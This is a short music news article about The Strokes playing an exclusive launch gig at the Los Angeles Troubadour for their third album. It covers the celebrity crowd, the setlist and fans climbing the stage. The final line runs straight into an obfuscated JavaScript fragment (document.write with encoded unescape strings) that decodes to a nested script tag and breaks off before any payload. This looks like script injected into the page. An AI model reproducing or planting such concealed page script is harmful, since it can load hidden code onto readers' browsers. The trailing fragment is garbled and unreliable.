The Strokes celebrate album launch at Troubadour

The Strokes have celebrated the US release of their third album 'First Impressions Of Earth' by playing an exclusive gig at Los Angeles Troubadour Friday night (January 6) for 500 fans and A-list stars.

Following in the tradition of Radiohead, who launched 'OK Computer' there in 1997, and Coldplay, who premiered 'X&Y' with a low-key gig at the legendary venue, The Strokes show drew massive queues around the block.

Hundreds of fans who won tickets through local radio station KROQ turned up hours early to secure places at the front of the stage, while still more arrived begging list holders to sell any spare tickets for upwards of $500 a piece.

Inside, the band took the stage about forty five minutes late, with celebrity onlookers cheering them on including Matrix star Keanu Reeves as well as actresses Kirsten Dunst, Eva Mendes and Drew Barrymore.

The balcony was packed with stars from the music scene too including Beastie Boy Mike D, Jet's Chris Cester and man about town, Har Mar Superstar.

"Thanks to everyone inside," frontman Julian Casablancas told the sweaty patrons upon taking the stage. "Are you guys ready to go or what? This is one of the best days in the world. God Bless America."

The New York outfit opened with 'Juicebox', following it up with a thirteen song set that included new ones 'Razorblade' and 'Red Light' alongside classics 'Someday' and 'Hard to Explain'.

Midway through the band's seventy five minute set the crowd erupted as the band introduced 'Last Nite'. One fan was so moved she climbed the venue's scaffolding several feet above the crowd, where she swung around the metal pillar until security pulled her down. Another fan climbed on stage to dance alongside the band, who paid him no attention, until bouncers kicked him off.

The show ended with a three song encore beginning with 'New York City Cops' followed by 'Soma', before finishing with 'Take it or Leave It'.

'First Impressions Of Earth' is set to enter the UK albums chart at Number One tomorrow (January 8).document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22